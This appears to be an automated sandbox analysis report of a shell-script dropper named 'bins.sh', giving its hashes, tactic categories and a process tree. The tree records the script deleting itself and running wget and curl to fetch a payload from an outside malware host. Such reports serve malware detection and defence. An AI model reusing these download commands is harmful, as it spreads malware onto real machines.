6d4629cac44c027f05b9269951e5e016a00de23e9e41601069f5dd6ae27dba09

Analysis

max time kernel
149s
max time network
131s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
04/11/2024, 17:27

Target
bins.sh
Size 10KB
Sample241104-v1d2davalk
SHA256 6d4629cac44c027f05b9269951e5e016a00de23e9e41601069f5dd6ae27dba09
MD5 c519f1b067280884b46c2aa19da142b0
SHA1 8388f00293e913697158cb94f5365dbcec333dd2
SHA512 4b13cc51099640e09b5442a4b54f6902bb96fc7daae52c87e0e355dc11d77ed52cff34ec5208f53f38ab7f61123a0bcce7cc57977035501a51a0c0735307d97b
SSDEEP 192:dz3OZ5azpwHSqPbEnxEnxEnkEnsQEnrEn4AY92ysQcSEnxEnxEnkEnsQEnrEn+AV:dz3OZ5azpwLmAA1CWPQc3AA1CW3Vz3OI
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

discovery

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

System Network Configuration Discovery

pid	Process
1477	wget
1481	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1475
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1476
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  - System Network Configuration Discovery
  PID:1477
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  - System Network Configuration Discovery
  PID:1481

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact